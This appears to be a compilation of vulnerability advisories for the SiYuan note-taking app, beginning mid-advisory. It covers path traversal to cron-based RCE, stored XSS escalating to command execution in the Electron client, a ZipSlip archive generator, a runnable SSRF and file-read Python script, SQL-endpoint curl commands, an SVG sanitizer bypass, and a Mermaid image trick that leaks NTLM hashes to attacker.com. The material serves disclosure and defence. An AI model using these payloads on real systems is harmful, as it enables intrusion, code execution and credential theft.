print(r.text) Returns: {"code":0,"msg":"","data":null} File was written to /siyuan/workspace/data/TRAVERSALPROOF.zip
RCE via cron (root container): python cron = b" root touch /tmp/RCECONFIRMED\n" r = requests.post(f"{HOST}/api/import/importSY", headers={"Authorization": f"Token {TOKEN}"}, files={"file": ("../../../../../etc/cron.d/siyuanpoc", cron, "application/zip")}, data={"notebook": "NOTEBOOKID", "toPath": "/"}) cron executes on next minute → /tmp/RCECONFIRMED appears
Confirmed response on v3.6.0: {"code":0,"msg":"","data":null}
Impact An admin can write arbitrary content to any path writable by the SiYuan process: - RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorizedkeys - Data destruction by overwriting workspace or application files - In Docker containers running as root (common default), this grants full container compromise
Summary An attacker who can place a malicious URL in an Attribute View mAsse field can trigger stored XSS when a victim opens the Gallery or Kanban view with “Cover From -> Asset Field” enabled. The vulnerable code accepts arbitrary http(s) URLs without extensions as images, stores the attacker-controlled string in coverURL, and injects it directly into an <img src="..."> attribute without escaping. In the Electron desktop client, the injected JavaScript executes with nodeIntegration enabled and contextIsolation disabled, so the XSS reaches arbitrary OS command execution under the victim’s account.
Details The vulnerable flow is:
1. IsPossiblyImage(assetPath) accepts arbitrary http(s) URLs without validating that they are safe image URLs. 2. When an Attribute View card uses Cover From -> Asset Field, the application copies asset.Content directly into galleryCard.CoverURL / kanbanCard.CoverURL. 3. The front-end renderer inserts coverURL directly into <img src="${getCompressURL(item.coverURL)}"> without escaping quotes or other attribute-breaking characters. 4. A payload such as https://example.com/" onerror="require('childprocess').exec('calc') breaks out of the src attribute and adds an attacker-controlled onerror handler. When the image fails to load, the injected JavaScript runs in the Electron renderer. Because the desktop app enables nodeIntegration: true and disables contextIsolation and webSecurity, that JavaScript can access Node.js APIs and execute system commands.
PoC 1. Install Electron Desktop app. 2. Create a database / Attribute View with an mAsset column and add at least one row. 3. Add any legitimate image to that mAsset field so the entry is stored as type image. 4. Switch the view to Gallery or Kanban. 5.Set Cover From to Asset Field and choose the mAsset column. 6. Edit the existing image asset entry and replace its link with the following payload: https://example.com/" onerror="require('childprocess').exec('calc') 7. Save the change and reopen or refresh the Gallery / Kanban view. 8. Observe that the rendered HTML contains an injected onerror handler and the Calculator application starts on Windows.
Example rendered output: html <img loading="lazy" class="avgallery-img" src="https://example.com/" onerror="require('childprocess').exec('calc')"> Impact An attacker can store malicious content in a database asset field and execute arbitrary JavaScript when another user opens the affected Gallery or Kanban view. In the desktop client, that JavaScript has access to Node.js APIs, so the impact is not limited to browser-context XSS. The payload executes OS commands with the victim’s local user privileges, which turns this into remote code execution on the desktop application once the malicious content is delivered and rendered.
Summary A malicious note synced to another user can trigger remote code execution in the SiYuan Electron desktop client. The root cause is that table caption content is stored without safe escaping and later unescaped into rendered HTML, creating a stored XSS sink. Because the desktop renderer runs with nodeIntegration enabled and contextIsolation disabled, attacker-controlled JavaScript executes with access to Node.js APIs. In practice, an attacker can import a crafted note into a synced workspace, wait for the victim to sync, and achieve code execution when the victim opens the note.
Details The vulnerability exists in the table caption handling path. When a table block is parsed, the caption attribute is saved into the node's IAL properties without proper HTML escaping. Later, during rendering, that value is read back, passed through HTML unescaping, and written directly into the output DOM. This turns an attacker-controlled caption into active HTML inside the rendered note.
I confirmed that a crafted table caption containing encoded HTML such as <img src=x onerror=...> is rendered as a live DOM element instead of inert text. This makes the issue a stored XSS. I also confirmed that the most practical delivery path is not Markdown import, but a crafted .sy.zip note imported into a synced workspace. Once synced to another desktop client, opening the note executes the payload automatically.
In the Electron desktop client, this XSS results in code execution rather than browser-only script execution. The renderer is configured with nodeIntegration: true and contextIsolation: false, so JavaScript running in the note context can call Node.js APIs directly. A payload such as require('childprocess').exec('calc') executes successfully, demonstrating code execution on the victim machine in the context of the logged-in user.
PoC
- SiYuan Desktop Client A: attacker - SiYuan Desktop Client B: victim - Both clients are configured to use the same sync target
PoC File
I created a malicious .sy.zip note containing a table block with a crafted caption property.
Safe validation payload: html <img src=x onerror=alert('caption-xss')> RCE validation payload on Windows: html <img src=x onerror=require('childprocess').exec('calc')>
Steps to Reproduce 1.On Client A, import the crafted .sy.zip note using:
Import -> SiYuan .sy.zip
2.Confirm the imported note appears in the workspace.
3.Trigger sync on Client A so the malicious note is uploaded to the shared sync target.
4.On Client B, trigger sync so the note is downloaded from the shared sync target.
5.Open the synced note on Client B.
Observed Result With the safe payload, JavaScript executes automatically when the victim opens the note. With the RCE payload, the Electron renderer executes: js require('childprocess').exec('calc') This launches Calculator on Windows, demonstrating code execution in the victim user's context.
Impact - Impact Across All Platforms: Stored XSS - Electron Desktop App: Remote Code Execution
SiYuan is an open-source personal knowledge management system. In versions 3.6.3 and below, Mermaid diagrams are rendered with securityLevel set to "loose", and the resulting SVG is injected into the DOM via innerHTML. This allows attacker-controlled javascript: URLs in Mermaid code blocks to survive into the rendered output. On desktop builds using Electron, windows are created with nodeIntegration enabled and contextIsolation disabled, escalating the stored XSS to arbitrary code execution when a victim opens a note containing a malicious Mermaid block and clicks the rendered diagram node. This issue has been fixed in version 3.6.4.
SiYuan version 3.0.3 allows executing arbitrary commands on the server. This is possible because the application is vulnerable to Server Side XSS.
Summary Function importZipMd is vulnerable to ZipSlip which allows an authenticated user to overwrite files on the system.
Details An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is importZipMd, this can escalate to full code execution under some circumstances, for example using the official docker image it is possible to overwrite entrypoint.sh and after a container restart it will execute the changed code causing remote code execution.
PoC Code used to generate the ZipSlip: python #!/usr/bin/env python3 import sys, base64, zipfile, io, time
def preparezipslip(filename): orgfile1 = open('Test.md','rb').read() payload = open('entrypoint.sh','rb').read() #b"testpayload" zipslip = io.BytesIO() with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIPDEFLATED) as zipf: info = zipfile.ZipInfo('Test.md') mtime = time.time() t = time.localtime(mtime) info.datetime = (t.tmyear, t.tmmon, t.tmmday, t.tmhour, t.tmmin, t.tmsec) zipf.writestr(info, orgfile1) info = zipfile.ZipInfo(filename) mtime = time.time() t = time.localtime(mtime) info.datetime = (t.tmyear, t.tmmon, t.tmmday, t.tmhour, t.tmmin, t.tmsec) zipf.writestr(info, payload) return zipslip.getvalue()
gz = preparezipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh') open('exp.zip', 'wb').write(gz)
Impact The exploit is possible only if the attacker has access to import functionality. It's possible to achieve code execution and some persistence within the container
Summary Markdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access We in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way : )
Please note that we used the latest Version and deployed it via this dockerfile :
Dockerfile: FROM b3log/siyuan
ENV TZ=America/NewYork \ PUID=1000 \ PGID=1000 \ SIYUANACCESSAUTHCODE=SuperSecretPassword RUN mkdir -p /siyuan/workspace
COPY ./startup.sh /opt/siyuan/startup.sh RUN chmod +x /opt/siyuan/startup.sh
EXPOSE 6806
ENTRYPOINT ["sh", "-c", "/opt/siyuan/startup.sh"]
startup.sh sh #!/bin/sh set -e echo "nullctf{secret}" > "/flagrandom.txt" exec ./entrypoint.sh
docker-compose.yaml:
yaml services: main: build: . ports: - 6806:6806 restart: unless-stopped environment: - TZ=America/NewYork - PUID=1000 - PGID=1000 containername: archivistswhisper Details As you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886 in createDocWithMd function the markdown parameter is being passed to the model.CreateWithMarkdown without any sanitization while here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to luteEngine.Md2BlockDOM(md, false) without any sanitization too
PoC Here is a full Python POC ready to run py import requests, sys, os
if len(sys.argv) >= 5 : TARGET = sys.argv[1].rstrip("/") PASSWORD = sys.argv[2] attacktype = sys.argv[3] if attacktype == "LFD": filepath = f"file://{sys.argv[4]}" elif attacktype == "SSRF": filepath = f"{sys.argv[4]}" else: sys.exit(f"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link") TARGET = "http://127.0.0.1:6806" PASSWORD = "SuperSecretPassword" # Workgroup password filepath = "/etc/passwd" # file to read
s = requests.Session()
def login(): s.post(f"{TARGET}/api/system/loginAuth", json={"authCode": PASSWORD, "rememberMe": True})
def listnotebooks(): res = s.post(f"{TARGET}/api/notebook/lsNotebooks").json() notebooks = res["data"]["notebooks"] if not notebooks: raise RuntimeError("No notebooks found – create one in the UI first") notebook = notebooks[0]["id"] return notebook
def filetomd(notebook, filepath): docid = s.post( f"{TARGET}/api/filetree/createDocWithMd", json={ "notebook": notebook, "path": "/pwn", "markdown": f"loot" }, ).json()["data"] return docid
def convertfiletoasset(docid): res = s.post(f"{TARGET}/api/format/netAssets2LocalAssets", json={"id": docid}) # print(f"Debug : convert", res.text)
def getnewfilenamefromassets(filepath): res = s.post(f"{TARGET}/api/file/readDir", json={"path": "/data/assets"}).json()["data"] if attacktype == "LFD": newfilename = f"network-asset-{os.path.splitext(os.path.basename(filepath))[0]}-" else: newfilename = f"network-asset-{os.path.basename(filepath)}-" # print(newfilename) for file in res: # print(file["name"]) if newfilename in file["name"]: return file["name"]
def retrievefilecontent(filename): return s.get(f"{TARGET}/assets/{filename}").text
login() notebook = listnotebooks() docid = filetomd(notebook, filepath) print(f"Debug : Docid", docid) convertfiletoasset(docid) filename = getnewfilenamefromassets(filepath) filecontent = retrievefilecontent(filename) if len(filecontent) > 0 : print("Content : ", filecontent) else: print(f"Failed to get {filename} try to get it manually, probably we failed to predict the new file name")
File read <img width="928" height="333" alt="image" src="https://github.com/user-attachments/assets/8b6c81b9-106d-4d41-beaf-29ee3f6413cb" /> <img width="800" height="143" alt="image" src="https://github.com/user-attachments/assets/87a6fab8-d1a7-4690-b157-4c6250b67b8a" />
SSRF : We spawned a python server at /tmp : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy
<img width="822" height="63" alt="image" src="https://github.com/user-attachments/assets/9842aad2-1ade-45c0-9db1-fc049cf6b4cf" />
Impact As shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : )
Solution
https://github.com/siyuan-note/siyuan/issues/16860
Summary /api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database.
Details
The vulnerable endpoint is in kernel/api/sql.go
go func SQL(c gin.Context) { ret := gulu.Ret.NewResult() defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret) if !ok { return }
stmt := arg["stmt"].(string) result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions }
The route in kernel/api/router.go only uses CheckAuth middleware
e.g (similar)
go ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)
PoC
Start SiYuan with the publish service turned on
bash
List out all tables in the database
curl -s -u readeruser:readerpass \ -X POST "http://127.0.0.1:6808/api/query/sql" \ -H "Content-Type: application/json" \ -d '{"stmt": "SELECT name, type FROM sqlitemaster WHERE type='"'"'table'"'"'"}'
Extract all user content from the database
curl -s -u readeruser:readerpass \ -X POST "http://127.0.0.1:6808/api/query/sql" \ -H "Content-Type: application/json" \ -d '{"stmt": "SELECT id, content FROM blocks"}'
Impact - High impact, reader users can query all data in the db including other users notes - SQL api is mostly for select queries, but without validation, writes can still happen - Malicious SQL can lead to serious performance issues
this is an auth bypass, the sql feature is for power users but even readers can use it
Summary
An arbitrary file read vulnerability exists in Siyuan's /api/template/render endpoint. The absence of proper validation on the path parameter allows attackers to access sensitive files on the host system.
Impact
Arbitrary file read on the host
Summary
The /api/asset/upload endpoint in Siyuan is vulnerable to both arbitrary file write to the host and stored XSS (via the file write).
Impact Arbitrary file write
Summary
Siyuan's /api/export/exportResources endpoint is vulnerable to arbitary file read via path traversal. It is possible to manipulate the paths parameter to access and download arbitrary files from the host system by traversing the workspace directory structure.
Impact Arbitrary File Read
SiYuan configures Mermaid.js with securityLevel: "loose" and htmlLabels: true. In this mode, <img> tags with src attributes survive Mermaid's internal DOMPurify and land in SVG <foreignObject> blocks. The SVG is injected via innerHTML with no secondary sanitization. When a victim opens a note containing a malicious Mermaid diagram, the Electron client fetches the URL.
On Windows, a protocol-relative URL (//attacker.com/image.png) resolves as a UNC path (\\attacker.com\image.png). Windows attempts SMB authentication automatically, sending the victim's NTLMv2 hash to the attacker.
Root Cause
Mermaid initialization at app/src/protyle/render/mermaidRender.ts lines 28 and 33:
mermaid.initialize({ securityLevel: "loose", flowchart: { htmlLabels: true, }, });
SVG injection at line 101:
renderElement.lastElementChild.innerHTML = mermaidData.svg;
No DOMPurify or other sanitization between the Mermaid output and DOM insertion.
Mermaid v11.12.0 in "loose" mode strips active JavaScript (<script>, onerror, onload) but explicitly allows <img> tags with src attributes in the final SVG output. Verified by rendering the PoC below through the Mermaid CLI with matching configuration.
The Electron main process at app/electron/main.js line 78 sets disable-web-security, and lines 319+ set webSecurity: false, nodeIntegration: true, contextIsolation: false on all BrowserWindows. The disabled web security allows protocol-relative URLs to resolve as UNC paths.
Proof of Concept
Mermaid code block in a SiYuan note:
mermaid graph TD A["<img src='//attacker.com/share/img.png'>"] --> B[Normal Node]
Rendered SVG output (verified with Mermaid CLI 11.12.0, securityLevel: "loose", htmlLabels: true):
<foreignObject> <div xmlns="http://www.w3.org/1999/xhtml"> <span class="nodeLabel"> <p><img src="//attacker.com/share/img.png" style="..."></p> </span> </div> </foreignObject>
What was stripped by Mermaid's internal sanitizer (verified): onerror, onload, all event handler attributes, <script> tags, file:// URLs.
What survived (verified): <img src="http://...">, <img src="//...">.
Attack steps: 1. Attacker creates a note or .sy export containing the Mermaid block above 2. Attacker hosts a listener on attacker.com (Responder, ntlmrelayx, or HTTP logger) 3. Victim imports the notebook or opens the shared note 4. SiYuan renders the Mermaid diagram, injects SVG via innerHTML 5. Electron fetches //attacker.com/share/img.png
On Windows: Electron resolves the protocol-relative URL as a UNC path. Windows sends NTLMv2 credentials to the attacker's SMB server.
On macOS/Linux: Electron makes an HTTP request to the attacker's server, leaking the victim's IP and confirming when the note was read.
Impact
Zero-click credential theft on Windows. The victim only needs to view the note. NTLMv2 hashes can be cracked offline or used in relay attacks. On all platforms, the request acts as a tracking pixel and blind SSRF from the victim's machine.
No configuration changes required. The securityLevel: "loose" setting is hardcoded in SiYuan's Mermaid initialization.
Suggested Fix
Change Mermaid initialization to securityLevel: "strict". If HTML labels are required, add a DOMPurify pass on the SVG output before the innerHTML assignment at mermaidRender.ts:101, configured to strip <img> tags or enforce a strict URI allowlist blocking external and protocol-relative URLs.
Summary
The SanitizeSVG function introduced in v3.6.0 to fix XSS in the unauthenticated /api/icon/getDynamicIcon endpoint can be bypassed by using namespace-prefixed element names such as <x:script xmlns:x="http://www.w3.org/2000/svg">. The Go HTML5 parser records the element's tag as "x:script" rather than "script", so the tag check passes it through. The SVG is served with Content-Type: image/svg+xml and no Content Security Policy; when a browser opens the response directly, its XML parser resolves the prefix to the SVG namespace and executes the embedded script.
Details
The getDynamicIcon route is registered without authentication:
go // kernel/server/serve.go ginServer.Handle("GET", "/api/icon/getDynamicIcon", getDynamicIcon)
For type 8, the content query parameter is inserted directly into an SVG <text> element using fmt.Sprintf with no HTML encoding:
go // kernel/api/icon.go:579-584 return fmt.Sprintf( <svg id="dynamicicontype8" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"> <path d="..."/> <text x="50%%" y="55%%" ...>%s</text> </svg>, ..., content)
SanitizeSVG then parses the SVG with github.com/88250/lute/html and removes elements whose lowercased tag name matches a fixed list:
go // kernel/util/misc.go:249-252 tag := strings.ToLower(c.Data) if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" || tag == "foreignobject" || "animate" == tag || ... { n.RemoveChild(c)
The lute HTML parser stores the full qualified name including any namespace prefix in Node.Data. A payload like <x:script xmlns:x="http://www.w3.org/2000/svg"> gets Data = "x:script". The check tag == "script" is false, so the element is not removed and survives in the rendered output.
Confirmed with the same library version used by SiYuan:
html.Parse input: <x:script xmlns:x="http://www.w3.org/2000/svg">alert(1)</x:script> Node.Data result: "x:script" (not "script") Removed by check: false Rendered output: <x:script xmlns:x="http://www.w3.org/2000/svg">alert(1)</x:script>
The same bypass works for every element on the blocklist: x:iframe, x:object, x:foreignObject, etc.
The fix is to strip the namespace prefix before comparing:
go localName := tag if i := strings.LastIndex(tag, ":"); i >= 0 { localName = tag[i+1:] } if localName == "script" || localName == "iframe" || ...
PoC
GET /api/icon/getDynamicIcon?type=8&color=red&content=%3C%2Ftext%3E%3Cx%3Ascript%20xmlns%3Ax%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3Ealert%28document.domain%29%3C%2Fx%3Ascript%3E%3Ctext%3E HTTP/1.1 Host: 127.0.0.1:6806
Decoded content value: </text><x:script xmlns:x="http://www.w3.org/2000/svg">alert(document.domain)</x:script><text>
The response is a valid SVG with the script element intact. Opening the URL directly in a browser triggers the alert, confirming script execution at the SiYuan server origin.
Impact
Any user whose SiYuan instance is reachable over a local network is exposed. An attacker on the same network can craft the URL and share it. When the victim opens it in a browser, JavaScript executes at the http://<siyuan-host>:6806 origin. Because SiYuan sets Access-Control-Allow-Origin: and the script runs same-origin, it can call any API endpoint using the victim's existing session cookies, including endpoints to read all notes, export data, or modify settings. No authentication or prior access is needed to construct the payload.
Summary A vulnerability allows crafted block attribute values to bypass server-side attribute escaping when an HTML entity is mixed with raw special characters. An attacker can embed a malicious IAL value inside a .sy document, package it as a .sy.zip, and have the victim import it through the normal Import -> SiYuan .sy.zip workflow. Once the note is opened, the malicious attribute breaks out of its original HTML context and injects an event handler, resulting in stored XSS. In the Electron desktop client, this XSS reaches remote code execution because injected JavaScript runs with access to Node/Electron APIs.
Details The issue is caused by a logic regression in escapeNodeAttributeValues in kernel/filesys/tree.go. Previously, the escaping logic converted node.KramdownIAL with parse.IAL2Map(...) before deciding whether a value needed escaping. That conversion unescaped existing entities first, so mixed values such as: &" onmouseenter="alert('IAL-XSS') were still recognized as unsafe and escaped correctly. The logic changed to inspect raw KramdownIAL values directly. The new needsEscapeForValue implementation returns false as soon as it sees any known entity such as &, ", <, or >. This means a value containing both an entity and an unescaped raw quote bypasses escaping entirely.
That bypass becomes exploitable because the renderer later inserts block IAL values directly into HTML attributes. A payload like: &" onmouseenter="require('childprocess').exec('calc') can be rendered into HTML equivalent to: <div title="&" onmouseenter="require('childprocess').exec('calc')"> This creates a stored XSS condition. In SiYuan Desktop, the Electron renderer runs with Node.js integration available, so attacker-controlled JavaScript can invoke Node APIs directly. As a result, the issue is not limited to script execution in the page context and becomes arbitrary command execution on the victim’s machine.
The stored XSS path was validated by importing a crafted .sy.zip through the normal GUI and triggering JavaScript execution from the rendered block. Because the same injected JavaScript runs in the privileged Electron renderer, this is an RCE issue in the desktop client.
PoC 1. Start SiYuan Desktop v3.6.1. 2. Prepare a crafted .sy.zip containing a .sy document with a block IAL property such as: "title": "&\" onmouseenter=\"require('childprocess').exec('calc')" 3. In the UI, right-click any notebook. 4. Select Import -> SiYuan .sy.zip. 5. Import the crafted archive. 6. Open the imported note. 7. Move the mouse over the affected paragraph block. 8. Observe that the injected JavaScript executes. 9. On Windows, calc.exe launches, demonstrating arbitrary command execution.
Impact This vulnerability allows an attacker to deliver a malicious .sy.zip file that executes attacker-controlled JavaScript after import. In the desktop application, that JavaScript runs with Node/Electron privileges and can execute arbitrary operating system commands under the victim’s account. This makes the bug equivalent to local code execution triggered by importing and opening attacker-supplied content.